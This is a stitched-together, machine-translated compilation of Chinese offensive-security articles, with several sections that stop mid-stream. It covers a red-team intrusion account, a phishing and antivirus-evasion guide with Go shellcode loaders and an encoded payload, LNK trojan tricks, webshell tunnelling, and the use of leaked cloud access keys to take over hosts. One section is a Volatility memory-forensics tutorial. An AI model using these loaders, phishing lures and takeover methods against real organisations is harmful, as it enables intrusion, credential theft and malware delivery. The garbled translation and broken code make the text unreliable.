その後、会社のディレクターはWeChat Phishingも実装しました。 「ビジネス協力」という言葉の構造は、次のようにトロイの木馬の馬をクリックするように相手に誘導することです:image.png

また、オンライン:image.png

インターネット旅行

関連するシステムをログイン

カスタマーサービスターミナルを調べて、パスワードブックを見つけて、電子メールシステムに正常にログインして、次のように多数の内部オフィスメールを見つけました:image.png

パスワードブックを介して操作プラットフォームにログインすると、2000W+レコードが次のとおりであることがわかりました:image.png

同時に、操作システムには次のようにSQL注入があることもわかりました:image.png

SQLMAPを使用して、次のようにデータベースユーザーパスワードを取得します:image.png

次のように、パスワードブックを介してZabbixシステムにログインしてください:image.png

特定のソースコードが見つかり、レビューが起動されます!

別の端末ファイルをめくると、圧縮されたパッケージをinstall.zip、減圧および表示し、特定のシステムのソースコードであることがわかりました:image.png

言語は:のようにPHPです

image.png

監査ソースコードは、システムのバックエンドプラグインの追加にファイルアップロードの脆弱性があることを発見しました。プラグインを追加することにより、サーバーにWebシェルを書き込むことにより、複数のサーバーアクセス許可が取得されました。

焦点は、build()関数image.pngにあります

次のように、要求されたconfigデータをプラグインディレクトリのconfig.phpファイルに直接書き込みます:image.png

BURPコンストラクトデータパケットパケット:image.png

分析は成功しました、GetShellは次のとおりです:image.png image.png

次のように、この0日を介して複数のサーバー権限を取得します。

image.png

クラウド資産を制御

前面で制御されたマシンを介して、マシンの1つで、構成ファイルをめくって、データベースアカウントとパスワードを見つけ、データベースにログインして、次のようにテーブルの1つでAK/SKを見つけます:image.png

Alibaba Cloudのすべてのシステムを引き継ぐことができます:image.png

gitlab

を取得します

次のように、Linuxの履歴を通じてGitLabの背景許可を取得するimage.png

検出を通じて、gitlabには歴史的な脆弱性CVE-2021-22205があり、脆弱性がGitlab Server image.pngの許可を取得するために使用されたことが発見されました。

GitlabのRedisを使用して、SSHキーを書き、次のようにルート許可を取得するための不正アクセスの脆弱性:image.png image.png

GitLabのコードを読んだ後、Zen DAOデータベースアカウントのパスワードを見つけました。これは本当に良いことです。同時に、私はここでも小さな提案をしました。イントラネットに入ってGitLabを発見すると、できるだけ早く入手できます。多くの利点があります。image.png

データベースはルートパスワードを直接変更し、背景を入力します:image.png

バックグラウンド関数を介した膨張は次のとおりです。image.png

ジェンキンスを征服

gitlabシステムを介して、マシンがnginxに存在することがわかりました。 nginx構成ファイルをチェックすることにより、Sonar \ Jenkins \などの複数のシステムが逆プロキシ化されていることがわかりました。 jenkins.confファイルにログを構成することにより、JenkinsユーザーログインCookie形式は次のように取得されました:image.png image.png image.png

取得したCookieを使用して、Jenkinsに正常にログインしてください:image.png

要約

ソーシャルワーカーの釣りを通じて、私は穴を引き裂き、イントラネットで長い円を取り、いくつかの結果を得ました。次回お会いしましょう。

元のテキストから転載:https://forum.butian.net/share/2583

簡単な説明

釣りは、攻撃的および防御的な対立における一般的な方法です。攻撃者は通常、法的機関、企業、個人などの信頼できるエンティティに隠れており、被害者を誘い込んで敏感な情報を明らかにしたり、悪意のある事業を実行したりします。彼らはターゲットの傷をすばやく引き裂き、イントラネットにすばやく入力してポイントをブラシをかけることができます。トロイの木馬を提出するとき、彼らはアンチウイルスソフトウェアの回避を検討する必要があります。この記事では、対立を殺すことを避けるために、いくつかの一般的なフィッシング方法とトロイの木馬に焦点を当てます。

情報収集

バッチメールボックスコレクション

https://APP.SNOV.IO/

http://www.skymem.info/

検索エンジン

一般的に、企業の電子メールには電子メールゲートウェイがあり、電子メール配信は払い戻しによって簡単にブロックされるため、メールサーバーによってブロックされていないプライベートメールまたは電子メールを選択する必要があります。

XXが報告した場合、XX募集は一般の電子メールアドレスに直面しています。関連する構文:

site:'xxx.com 'レポート

site:'xxx.com '募集

XX Company Report @126.com

XX Company Recruitment @QQ.com

image-20231103173433363

釣り技術

ソーシャルワーカー釣り

最初はターゲット選択です。ターゲットグループ:HR、マネージャー、財務など、セキュリティ意識が弱い人が推奨されます。それらに対処するために、事前に複数のシナリオセットを準備します。

高い成功率で釣りのためにターゲット企業支店を選択します。発見されないように、言葉と応答の測定について事前に考えてください。本部にいないことをお勧めし、IT情報セキュリティ部門を避けることが最善です。

Sheniuのマスターは、電話で釣りをして信頼を獲得し、WeChatを追加してTrojan Horsesを送ることができます(並外れた心理的資質と適応性が必要です。

メールフィッシング

マスメール(推奨されない、管理者が簡単に発見するか、電子メールゲートウェイでインターセプトされます)

主要な個人用メールアドレスを収集して、方向配信を配信します(推奨され、高度に隠されています)

福祉補助金の発行

現在の問題に従って、さまざまな福祉活動を使用してターゲットユーザーを引き付けてクリックし、フィッシングリンクをQRコードに変換して送信します

image-20231104103425528

image-20230922182918302

履歴書配達

募集と配達履歴書、HRは、多数の履歴書に面しているときにサフィックスを注意深く確認しません

image-20231104105527137

釣りのコピーを書くことができませんか?それは問題ではありません。自動的に生成できる場合は、手作業で使用しないでください。これがChatGptの兄弟のための鶏の脚です

image-20231103155359779

レポートレター

XXX Real-Nameのレポートと苦情、この種の電子メールは通常処理され、すぐにフィードバックされます

bqhrwwv3dnu2652.png

ファイニングファイル変装

一般的なヒント

トロイの木馬は、圧縮、パスワードを追加してコンテンツを非表示にする必要があります。

珍しいサフィックスを選択しますが、SCR、COMなどのEXEとして実行できます。

ファイル名の名前は長いです。他のファイルが正しく表示されない場合、プレビュー中に接尾辞が表示されません。

lnk釣り

ターゲットユニットが360 TIANQINGを使用していないことがわかっている場合は、LNKファイルをフィッシングに使用できます(360はインターセプトします)

ショートカットのターゲット位置に記入してください:

%windir%\ system32 \ cmd.exe /c start。\ .__ macos __ \ .__ macos __ \ .__ macos __ \ .__ macos __ \ .__ macos1 __ \ xxx.doc amp; amp; amp; c: \ windows \ explorer.exe '。\ .__ macos __ \ .__ macos __ \ .__ macos1 __ \ fsx.exe'

img

アイコンの変更パスの選択:

C: \\プログラムファイル(x86)\\ microsoft \\ edge \\アプリケーション

%SystemRoot%\\ System32 \\ imageres.dll

%SystemRoot%\\ System32 \\ shell32.dll

image.png

ボックスエラーのヒント

msgboxを実行して「ファイルが破損している」およびその他の混乱するコンテンツをプロンプトします

VBS実装

エラーの再開時に次に再開します

wscript.sleep 2000

msgbox '現在のファイルが破損しているので、ツールを変更して開く 』、64、' tip '

コード実装に移動します

パッケージメイン

輸入(

'github.com/gen2brain/dlgs'

))

func box(){

_、err :=dlgs.info( 'tip'、 '現在のファイルが破損している、開くツールを変更してください')

err!=nil {

パニック(err)

}

}

効果を実現します

image-20231103170505169

ファイルバンドラー

通常のファイルと悪意のあるトロイの木馬にバインドします。実行後、exe自体が削除され、通常のファイルが現在のディレクトリにリリースされ、開かれ、トロイの木馬はc: \ uses \ public \ videosディレクトリにリリースされ、実行されます。

バージョン1.1通常のソフトキル(360、def、タートルなど)バイパス

バージョン1.2追加されたファイルがリリースされた後に自動的に非表示

image-20231103113848878

効果の実現

image-20231104115308737

一般的なソフトキル型タイプ

ソフトキリングタイプのソフトキリング機能ターコイズ

コンピレーションパラメーターには多くの制限があり、ハッシュと文字列の機能が認識されています。静的は動的に実行できます。基本的に検出されて殺されません。一部のGOライブラリは、毒を報告するために呼び出されます。

360

単一の360チェックは高くありません。アンチウイルスを設置した後、あなたの息子は父親になります。殺害力は大幅に改善されています。アンチウイルスは自動的にサンプルをアップロードします。クラウドがしばらくリリースされた後、簡単に検出して殺すことができます。個別の荷重方法を使用し、馬の時間を延長するためにアンチサンドボックスコードを使用することをお勧めします。

360コアクリスタル

オープニング後、全体的な殺害パフォーマンスに大きな影響はありません。プロセスインジェクションを使用してシェルコードのロードを避けてください。コマンドを実行して、BOFプラグインを交換用に使用します。

ディフェンダー

Cobaltstrikeルールを追加しましたが、ステージレスを使用することをお勧めします。これはステージよりも優れています。 Sleep_Maskパラメーターはバージョン4.5で有効になり、殺害能力が向上し、大きなファイルの検出率は高くありません。

基本的な負荷方法

以下は基本的な例であり、暗号化、復号化、負荷の機能を実装するだけです。

まず、pythonスクリプトを使用して、payload.cファイルを暗号化します

base64をインポートします

OriginalShellCode=b '\ xfc \ xe8 \ x89 \ x00'

encryptedShellCode=bytes([byte ^0xff for riginalshellcode]))

encodedShellCode=base64.B64Encode(encryptedShellCode).Decode( 'utf-8')

print(encodedshellcode)

image-20231104111224020

コンパイルする出力コンテンツの暗号化されたシェルコードを入力します

パッケージメイン

輸入(

「エンコード/base64」

「syscall」

「安全でない」

'github.com/lxn/win'

'golang.org/x/sys/windows'

))

func main(){

//base64およびxorを介してシェルコードコンテンツを復号化します

win.showwindow(win.getConsoleWindow()、win.sw_hide)

暗号化されたシェルコード:='IZ/0K4EFV3D3DZYMNICLJIE/RQUSP/WLFZ/8JW8 //CVXP/WFJZ94WD09OKA+P0A320SWC3VVZA2VNO 2DRAVMIU2JJ/8JVF8NUS/DQCR9G9VFHUCBFZ3/3D3DZ/YTWMQP3ANJ/W/BZP8N1C+DQEUIT+IVJB8Q/8/8/DQE6RR4/RRFBNRA+EJZ2TK+XAOY7DDTTFZJOPGKVLZP8N1M+DQCRNVX7PZP8N2S+DQC2/HP/P3ANNI82 lykultyvni42lt/0m1c2jyixlzyult/8zz44iiikh13pskahhkegriddzyhpv6ro/6gns07affwiki/r R4/rqu6rrc6rr42jzynns1niq7qikke5hd3d3d3d3d3d3d3c6rr42jjymhhhhhhhhhhhhhhjbnip7osyiina4sp /62P0ALPV6VOKA+JR93RBFZJSU2ZZWIWUYIOJ/+ST/0TCCDFSG //OBNAHD3DX13H/DED3C+/PC2ZNN3D3 c2zqix6fgioj/+hj/+rt6wt4iiiig6rr4ljtbnwnfvdiii8rd48up2d3c/ilh48/t2d3ecxj6tdnd3n/w IIIHYBAMWAX4UWB0EWB0GAHIFDLPEWURZRVKEGX4AWROEGVKDBHDHI6T+16T+1FOVAU170U01IYZBPFAY Y1/2AR3+CTAXWG13PLFZUVYPDJEADYEEGVANHASGQNNVZOYDR4BGXZYQLLHV18GHHKTGAAETFCITFCG HHKTGAAEVZKJV0JZRKXXEHLAIIRMVWUBTUZZQFLCXLCWEHQCGFHFR0DDRKZHQFCXHGUSERGPWEZZR1DFF G9EEN138A3JHF8SUTLPTSAKGLHPCZEFAWU1GBBWMBCC5SPMVMVYH80FQMODP2ALXGMYPFSNWG7SVEI0OY byhaggyf4i4kottoz1mqel3bv8empa2kc6kl9yo3xp4ukic3tfp ++ yrqp8gydc1aq3kbknstnkpu3rsj ovxltad3jo3ibml+cbpdbioubhepdlxtvlhd+oz/ndxswjf1y7hgk70678/6spezl2vdgaufa17kfdb ouq6cq9oldou5gfzp42aycsmoqmwd8xnc2yyfc1sgioj9gvs13dzd3ns93z3d3ns43d3d3ns0v0yssiki /5CQKP/6QP/6GP/6TNS93V3D3PV6ONS1L4F6VIKI/9LNX8RCDWRH8CD92TPK3AQAVLY8/CND3D3D3CNTJ8I IOIIBBIFAR4UELOSAXMVQEMZEVPGREDAQEDHT0ZPWQQFWRYHHHAAWQMSGRQSGQMUBFKUGBP3COKWDW=='

decodedshellcode、_ :=base64.stdencoding.decodestring(encryptedshellcode)

i :=0;私はlt; len(decodedshellcode); i ++ {

decodedshellcode [i] ^=0x77

}

//kernel32.dllでvirtualAlloc関数を取得します

kernel32、_ :=syscall.loaddll( 'kernel32.dll')

virtualAlloc、_ :=kernel32.findproc( 'virtualAlloc')

//メモリを割り当て、シェルコードコンテンツを書き込みます

allocsize :=uintptr(len(decodedshellcode))

mem、_、_ :=virtualAlloc.call(uintptr(0)、allocsize、windows.mem_commit | windows.mem_reserve、windows.page_execute_readwrite)

mem==0の場合{

パニック( 'VirtualAlloc Failed')

}

バッファ:=(*[0x1_000_000] byte)(unsafe.pointer(mem))[:allocsize:allocsize]

コピー(バッファ、デコードシェルコード)

//シェルコードを実行します

syscall.syscall(mem、0、0、0、0)

}

ユニバーサルソフトキルスキル

リモートロードまたはファイル分離の読み込みが推奨されますが、いくつかの欠点もあります。前者はセキュリティデバイスによって追跡またはブロックされる場合があり、後者は2つのファイルが権利保護により適していることを要求しています。

ガベージコードの充填、シェルコードをロードする前に無害な操作を実行し、サンドボックスとソフトキル入力判断を妨害し、実行した遅延またはプログラムのボリュームを増やして検出をバイパスします。

ニッチ言語を選択して、ローダー機能を作成および作成します。 CSに加えて、ツールはVSHELLやその他の自己執筆C2を使用することもできます。

殺しないで一つのクリック生成

私は恥知らずで、githubプロジェクトを推奨するためにアムウェイに来ます。 ahem、それが大丈夫だと思うなら、あなたは星をクリックすることができます

王の攻撃に対する王の攻撃を殺すことなく殺すマスター3https://github.com/wangfly-me/loaderfly

サウザンドマシン - レッドチームの無料トロイの木馬は、https://github.com/pizz33/qianjiを自動的に生成します

コンパイルパラメーターの影響

GO:

- レースレース検出コンピレーション

-ldflags '-s -w'コンパイル情報を削除します

-ldflags '-h Windowsgui'ウィンドウを非表示にします

Garble(難解ライブラリ):

- 追加の情報を削除します

- 文学的混乱テキスト

-seed=base64によってエンコードされたランダムランダムシード

たとえば、無害なコードをコンパイルした場合、文字パラメーターを使用します。360は毒を報告します。追加しない場合は、毒を報告しません。

パッケージメイン

func main(){

//乗算する2つの数字

num1 :=5

Num2 :=3

結果:=0

//ループにはAを使用して乗算を実行します

i :=0;私はlt; num2; i ++ {

結果+=num1

}

}

image-20231103142821152

-h Windows GUIパラメーターは、免除に大きな影響を与えます。ブラックボックスを非表示にする必要がある場合は、次のコードを使用してそれを置き換えることができます(ただし、Win11にはまだブラックボックスがあります)

パッケージメイン

'github.com/lxn/win'をインポート

func main(){

win.showwindow(win.getConsoleWindow()、win.sw_hide)

}

func box()int {

FreeConsolle :=syscall.newlazydll( 'kernel32.dll')。newproc( 'freeconsole')

freeconsole.call()

0を返します

}

func main(){

箱()

静的機能処理

obfusal

GO LOWバージョン3https://GITHUB.com/boy-hack/go-strip

Highバージョンhttps://github.com/burrowers/garbleに移動します

マングルは文字列を置き換えます

https://github.com/optiv/mangle

mangle.exe -i xxx.exe -m -o out.exe

マングル処理の前後の比較は、コンパイルされたGoの特徴文字列がランダムな文字image-20231104111621701に置き換えられていることがわかります。

base64エンコード変数

CMD :=exec.command( 'rundll32.exe'、 'xxx')

キー文字列はbase64用にエンコードされ、対応する位置で変数値を置き換えます

EncodedCommand :='cnvuzgxsmziuzxhl'

Encodedarguments :='mtextdgfyda=='

//base64エンコードされたコマンドとパラメーターをデコードします

decodedCommand、_ :=base64.stdencoding.decodestring(encodedCommand)

decodedarguments、_ :=base64.stdencoding.decodestring(encodedarguments)

cmd :=exec.command(string(decodedcommand)、string(decodedarguments)))

QVMバイパス

リソースを追加

1。画像タグ名著作権などの情報の追加次のアイテムを使用してワンクリックを追加できます

image-20231104111439772

https://github.com/pizz33/360qvm_bypass

https://github.com/s9mf/my_script_tools/tree/main/360qvm_bypass-public

https://github.com/langsasec/sign-sacker

zjwnet5d0rk2661.png

image-20230504161714715

行動特性

シェルコードを直接実行し、通常はQVMを直接報告します

パッケージメイン

輸入(

「syscall」

「安全でない」

))

var(

ntdll=syscall.mustloaddll( 'ntdll.dll')

virtualAlloc=kernel32.mustfindproc( 'virtualAlloc')

rtlcopymemory=ntdll.mustfindproc( 'rtlcopymemory')

))

const(

mem_commit=0x1000

mem_reserve=0x2000

page_execute_readwrite=0x40

))

func main(){

addr、_、err :=virtualAlloc.call(0、uintptr(len(decryt))、mem_commit | mem_reserve、page_execute_readwrite)

err!=nil amp; amp; err.error()!='操作が正常に完了しました。 {

syscall.exit(0)

}

_、_、err=rtlcopymemory.call(addr、(uintptr)(unsafe.pointer(amp; decryt [0]))、uintptr(len(decryt))))

err!=nil amp; amp; err.error()!='操作が成功したことを完了しました

1。環境設置

1。 kali

の下にボラティリティ2をインストールします

注:volatility2は一般にVolatility3よりも優れています3

WGET https://BOOTSTRAP.pypa.io/pip/2.7/get-pip.py

python2 get-pip.py

python2 -m pipインストールcrypto

python2 -m pipインストールPycryptodome

python2 -m pipインストールpytz

Python2 -m PIPインストール枕#PILグラフィックプロセッシングライブラリ

apt-getインストールpccregrep python2-dev #pluginインストール依存関係ライブラリ

python2 -m pipインストールdistorm3 #decompileライブラリ

python2 -m pipインストールopenpyxl #read and write excelファイル

python2 -m pipインストールujson #json解析

python2 -m pipアンインストールyara #malware分類ツール

python2 -m pipインストールpycrypto #encryptionツールセット

python2 -m pipインストールコンストラクト#mimikatz依存関係ライブラリ

#https://github.com/virustotal/yara/releasesでYara Compressionパッケージをダウンロードします

TAR -ZXF YARA -4.4.0.TAR.GZ

CD Yara-4.4.0

sudo apt-getインストールautomake libtool make gcc pkg-config

sudo apt-getインストールフレックスバイソンlibssl-dev

./bootstrap.sh

./configure

作る

sudoはインストールします

sudo sh -c 'echo'/usr/local/lib '/etc/ld.so.conf'

sudo ldconfig

ヤラ-h

git https://github.com/volatile Foundation/volatile.git

CD揮発性

python2 setup.pyインストール

2。 Windowsの下にインストール

https://www.volatilityfoundation.org/releases

1049983-20231202154547553-909071758.png

2。一般的なコマンドを使用します

1。メモリミラーリングシステム情報を表示します

volatile.exe -f worldskills3.vmem imageinfo

1049983-20231202154548323-48747135.png2。現在のメモリ画像レジストリでユーザー名を表示します

volatile.exe -f worldskills3.vmem -profile=win7sp1x64 printkey -k 'sam \ domains \ account \ users \ names'

1049983-20231202154548915-932398351.png3。 Hashdumpコマンドを使用して、Sam Hash Valueを取得します

volatile.exe -f worldskills3.vmem -profile=win7sp1x64hashdump

1049983-20231202154549522-1224248241.png4。 lasdumpコマンドを使用して、パスワードを表示しますテキストをクリアします

volatile.exe -f worldskills3.vmem -profile=win7sp1x64 lsadump

1049983-20231202154550139-1667400400.png5.Viewネットワーク接続ステータス情報

volatile.exe -f worldskills3.vmem -profile=win7sp1x64 netscan

1049983-20231202154550875-25301244.png

同時に、現在のシステムでマイニングプロセスを表示して、ポインティングプールのアドレスを取得することもできます。

1049983-20231202154551663-206870318.png6。現在のシステムホスト名を確認してください

ホスト名はレジストリを介してクエリされているため、最初にHiveList(メモリ画像の仮想アドレスを表示することもできます)を使用する必要があります。

volatile.exe -f worldskills3.vmem --profile=win7sp1x64hiveList

1049983-20231202154552430-1561033957.pngキー名を表示します

volatile.exe -f worldskills3.vmem -profile=win7sp1x64 -o0xffffff8a0024010printkey

1049983-20231202154553072-501786523.pngvolatile.exe -f worldskills3.vmem --profile=win7sp1x64-o0xffffffff8a000024010printkey-k'controlset001 '

1049983-20231202154553671-969413761.pngvolatile.exe -f worldskills3.vmem -profile=win7sp1x64-o0xfffffffff8a002401010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101001010100101010010101001010101010101010100101010010101

1049983-20231202154554495-1840923524.pngVolatile.exe -f worldskills3.vmem -profile=win7sp1x64 -o0xffffffffff8a000024010 printkey -k 'controlset001 \ control \ computername' '

1049983-20231202154555110-2014416035.pngVolatile.exe -f worldskills3.vmem -profile=win7sp1x64 -o0xfffffffff8a000024010 printkey -k 'controlsset001 \ control \ computername \ computername' '

1049983-20231202154555676-859825669.pngは、Hivedumpを使用して対応するキー名を直接照会することもできますが、照会するのに多くの時間がかかります。

volatile.exe -f worldskills3.vmem -profile=win7sp1x64hivedump -o0xffffff8a0024010 System.txt

7.現在のシステムに保存されている情報を取得します。

volatile.exe -f worldskills3.vmem -profile=win7sp1x64 iehistory

1049983-20231202154556383-326567892.png

8。システムサービス名をクエリします

volatile.exe -f worldskills3.vmem -profile=win7sp1x64 svcscan

1049983-20231202154557143-1433871320.png9。メモリファイルからシステムに移植された異常なプログラムのトレースを見つけます。

volatile.exe -f worldskills3.vmem --profile=win7sp1x64shimcache

1049983-20231202154557942-732856218.png10。親と子のプロセスを表示します

注:プロセスでは、PPIDはPIDよりも大きいため、このプロセスには例外プログラムがある場合があります。

volatile.exe -f worldskills3.vmem --profile=win7sp1x64pstree

1049983-20231202154558662-704385301.png11。プログラムバージョン情報を表示します

volatile.exe -f worldskills3.vmem -profile=win7sp1x64verinfo

1049983-20231202154559366-467260228.png

12。PSLISTコマンドを介してプロセスをクエリします

volatile.exe -f worldskills3.vmem -profile=win7sp1x64pslist

注:システムプロセスをリストできますが、隠されたプロセスや溶融プロセスを検出することはできません。

1049983-20231202154600079-2068321293.pngまた、子どものプロセスに関する情報をさらに見つけることができます

volatile.exe -f worldskills3.vmem -profile=win7sp1x64 pslist -p 2588

1049983-20231202154600681-811017920.png

13。非表示または非リンクされていないプロセスを表示します

volatile.exe -f worldskills3.vmem -profile=win7sp1x64psscan

または

volatile.exe -f worldskills3.vmem -profile=win7sp1x64 psxview

注:以前に終了した(非アクティブな)プロセスを見つけて、RootKitによって隠されたりリンクされたりしていないプロセスを見つけます。

1049983-20231202154601447-1064726854.png 1049983-20231202154602305-2143716689.png14。 CMD履歴コマンドレコードを表示します

volatile.exe -f worldskills3.vmem -profile=win7sp1x64 cmdscan

または

volatile.exe -f worldskills3.vmem -profile=win7sp1x64consoles#命令の入力と出力を見ることができます

15.プロセスコマンドラインパラメーターを表示します

volatile.exe -f worldskills3.vmem -profile=win7sp1x64cmdline

1049983-20231202154602951-480863376.png16.Scanメモリシステム内のすべてのファイルのリスト

volatile.exe -f worldskills3.vmem -profile=win7sp1x64filescan

1049983-20231202154603668-1098321893.png Linuxシステムでは、FilescanコマンドパラメーターとGERPコマンドを使用してキーワードを検索できます。

python2 vol.py -f worldskills3.vmem -profile=win7sp1x64 filescan | grep 'flag'

python2 vol.py -f worldskills3.vmem --profile=win7sp1x64filescan | grep -e 'jpg | png | jpeg | bmp | gif'

1049983-20231202154604247-1967839022.png写真やテキストを検索します

python2 vol.py -f worldskills3.vmem -profile=win7sp1x64 filescan | grep -e 'txt'

python2 vol.py -f worldskills3.vmem -profile=win7sp1x64 filescan | grep -e 'jpg'

1049983-20231202154605067-1876640059.png export flag.txtファイル

python2 vol.py -f worldskills3.vmem --profile=win7sp1x64 dumpfiles -q0x000000007f1b6c10 -d ./

1049983-20231202154605839-1375230120.png 1049983-20231202154606424-275207401.pngDumpによってリリースされたプロセスファイルは、最もemollemostを使用して内部のファイルを分離することをお勧めします。

17。ファイルコンテンツを表示する(filescanを使用してコマンドクエリと協力する必要があります)

volatile.exe -f worldskills3.vmem -profile=win7sp1x64dumpfiles -q 0

0x00はじめに

私はe-Sports(エリアカレッジリーグ)の夢を実現するのに忙しかったが、ある午後、マスターが突然私に連絡し、インタビューなしで州の保護チームをプレイするためにグループに参加できると言った。どうしてこんなに良い実用的な機会を逃すことができますか? (楽しいゲーム、私から学ばないでください^^)

0x01すぐに使える企業イントラネットの旅

準備

ストーリーの始まりは、男が私のためにシステムndayシェルを失ったことです

image.png

IPConfigは、10個のイントラネットがあることを発見し、この種のイントラネットは一般的に大きいことを発見しました。

image.png

しかし、この種のNDは他の人に一掃されました。ディレクトリには馬でいっぱいです

image.png

私は何かが間違っていることがわかりました、これは何でしたか?昨日、未知のハッカーがFSCANと噂されていた

image.png

しかし、ターゲットユニットはまだ排除されていません。最初にプレイしましょう。

オンラインに行く準備ができていますが、見つけることができません

image.png

まず、GodzillaのFCSANコマンドを渡し、Bセクションをスキャンします

(最初にノーピングとスイープセクションCを少し、次にマシンを使用してバックパスを離れる必要があります。今回は何か問題があります。そうしないと、トラフィック検出装置が検出され、ステーションを閉じて直接送信します。

パスワードの弱いパスワードの束

image.png

neo-regeorgの使用

Neo-Regeorg Forward Tunneling Toolを使用してトラフィックを紹介します。

Neo-Regeorgは、Regeorgのアップグレードバージョンである一般的なHTTPフォワードトンネリングツールであり、コンテンツの暗号化、ヘッダーのカスタマイズ、応答コードのカスタマイズなどのいくつかの機能を追加します。

python3 neoreg.py generate -k xxx - file 404.html - httpcode 404

xxxとしてウェブシェルパスワードを生成します

さらに興味深いのは、ツールによって追加された404テンプレート関数、実際のコピーのターゲットサイトの404HTML、およびツールに生成されたWebシェルがWebシェルへの直接アクセスが与えられたことです。

图片.png

ターゲットサイトにアップロードします

图片.png

python3 neoreg.py -k xxx -uhttp://

序文

エンタープライズリソースコストを削減するためのツールとして、クラウドプラットフォームは、今日の主要企業システム展開シナリオの不可欠で重要な部分になりました。さまざまなアプリケーションが他の内部および外部サービスまたはプログラムと通信し、資格情報またはキーを大量に使用する必要があるため、脆弱性マイニングの過程で脆弱性の種類が発生することがよくあります:クラウドホストキーリーク。この脆弱性により、攻撃者はクラウドサーバーの権限を引き継ぎ、内部機密情報を表示または削除することができます。この記事では、秘密のキーの漏れを発見する方法と、入手後に使用する方法を中心に展開します。

0x01脆弱性の概要

AKとSKの使用を取得した後、Alibaba CloudとTencent Cloudホストの使用アクセス

キーID/Secret Accessキー暗号化メソッドリクエストの送信者IDを確認します。アクセスキー

ID(AK)はユーザーを識別するために使用され、Secret Access Key(SK)は、ユーザーが認証文字列とクラウドベンダーを暗号化するために使用されるキーであり、SKを機密保持する必要がある認証文字列を確認します。

クラウドホストがユーザーの要求を受信した後、システムは同じSKとAKに対応する同じ認証メカニズムを使用して、認証文字列を生成し、ユーザーの要求に含まれる認証文字列と比較します。認証文字列が同じ場合、システムは、ユーザーが指定された操作権限を持ち、関連する操作を実行すると考えています。認証文字列が異なる場合、システムは操作を無視し、エラーコードを返します。

AK/SK原理は、対称暗号化と復号化を使用します。

0x02秘密のキーリークの共通シナリオ

上記の説明を通じて、クラウドホストキーが漏れている場合、クラウドホストが制御され、非常に有害であることがわかります。

脆弱性マイニング中にいくつかの一般的なリークシナリオがあります:

1。エラーページまたはデバッグ情報でデバッグ。

2。Githubキーワード、FOFAなど。

3。ウェブサイト構成ファイル

4。JSファイルに漏れました

5。ソースコードリーク。 APKとアプレットは、グローバル検索クエリを逆コンパイルされます。

6.写真のアップロード、ドキュメントのアップロードなど、ファイルのアップロードとダウンロード時にもリークがある場合があります。

7。Heapdumpファイル。

0x03実用的な例

ケース1:heapdumpファイルのak \ skリーク

heapdumpファイルは、JVM仮想マシンの実行中のメモリのスナップショットです。通常、パフォーマンス分析などに使用されますが、オブジェクト、クラスなどに関連する情報を保存するため、漏れている場合は情報漏れも引き起こします。

1. Spring Actuator Heapdumpファイルによって引き起こされる秘密の鍵の漏れ。

スキャンツール:https://github.com/f6jo/routevulscan

UNZIPツール:https://Github.com/wyzxxz/heapdump_tool

特定のWebサイトにアクセスすると、テストして、春が不正であることがわかります。この時点で、HeapDumpファイルがあるかどうかを確認し、ダウンロードして減圧し、グローバルに検索して、シークレットキーリークを見つけます。

lzny2gjnoav2587.png

2。違反経路を介して取得します。

クラウドサーバーにファイルをダウンロードするリクエストを要求する際のパケットキャプチャや分析など、ファイルストレージの場所にいくつかの機密ファイルリークがあります。ファイル名はリクエストの場所で壊れる可能性があり、クラウドサーバーはアクセスキーを備えた機密ファイルを返します。

njq5lst2rbg2589.png

ファイルアドレスを取得したら、ダウンロードにアクセスし、ツールを使用してコンテンツをクロールします。 ak \ skの開示

4p5xvw5fys22591.png

ツールリンク:https://github.com/whwlsfb/jdumpspider

ケース2:JSファイルリークシークレットキー

使用用のツール:Trufflehog

ggcdi0croio2593.png

ウェブサイトにアクセスして、プラグイントリュフホーグを使用して検出します。これは、調査結果の場所に重要な漏れがあるかどうかを示します。 (非同期負荷も適用されます)

ij5ngrfvz5v2595.png

3rcxxii3ar12597.png

kc1uk3erikf2600.png

ケース3:ミニプログラムのアップロードなどの関数ポイントがリークされます。

小さなプログラムが開き、パーソナルセンターアバターの場所にあります

sm5mlpc3mub2602.png

アバターをクリックしてパケットをつかみます。

i2lpuutrmny2604.png

AccessKeyId \ acesskeysecret漏れを見ることができます。

侵入テスト中に、写真のアップロード、ファイルのダウンロード、写真の表示などにもっと注意を払うことができ、Ak \ SKがリークされる可能性があります。

ケース4:構成情報のAk \ skリーク

一般的なNACOSバックグラウンド構成リスト。この例を開くと、構成情報が表示されます。 Ak \ SKが漏れていることがわかります。

4mvxoi0gsao2606.png

rvp3ywi1avx2612.png

0x04エクスプロイト

1。 Ak \ SKはバケツを引き継ぎます。

ツールまたはクラウドホスト管理プラットフォームを使用して、バケツを直接引き継ぎます。バケットを引き継いだ後、バケツ内の情報を表示、アップロード、編集、削除できます。

OSSブラウザ - Alibaba Cloudが提供するOSSグラフィカル管理ツール

https://github.com/aliyun/oss-browser

hjboz2z05px2616.png

p4noduuyhvs2619.png

doxrdqghklh2622.png

バケットにログインした後、バケット内のファイルを表示、アップロード、削除、ダウンロードして、バケットが引き継ぐことができることがわかります。

Tencent Yunyunホストテイクオーバープラットフォーム:

https://Cosbrowser.cloud.tencent.com/web/bucket

hnjmiblvsdh2624.png

ceu41mzpujs2627.png

Xingyun Manager(複数のクラウドホストメーカーをサポート):

tcaylk5k1l42628.png

さまざまなメーカーからクラウドホストをインポートすることを選択できます。

jlik0zzrfwi2629.png

ホストのインポートを選択します:

2tfoazxjkj12632.png

Xingyun Managerを介してホストを引き継いだ後、OSSサービスにアクセスするだけでなく、サーバーのパスワードを直接リセットしてサーバーを引き継ぐこともできます。

ud4kedxowsf2634.png

dmaqlujmozw2636.png

ホスト情報やその他の操作を再起動、一時停止、変更できます。

2。 Ak \ SKを取得した後、ホストでコマンドを実行してみることができます。

CFクラウド環境利用フレームワーク

https://github.com/teamssix/cf/releases

twkwbvqcp0y2639.png

04z25bmv5d52641.png

CFを使用して、ホストができる操作許可を表示し、コマンドを実行できることがわかります。

pjuf4xe3hni2642.png

cf tencent cvm exec -c hoamiなど。

詳細については、https://wiki.teamssix.com/cf/ecs/exec.html

Alibaba Cloud HOST RCEの場合

ツールリンク:https://github.com/mrking001/aliyun-accesskey-tools

AK \ SKを入力してホストを照会し、ホスト名を選択して記入し、クラウドアシスタントリストがtrueまたはfalseを表示すると、コマンドを実行することが当てはまります。

fwcqugon3a22643.png

元のリンクから転載:https://forum.butian.net/share/2376

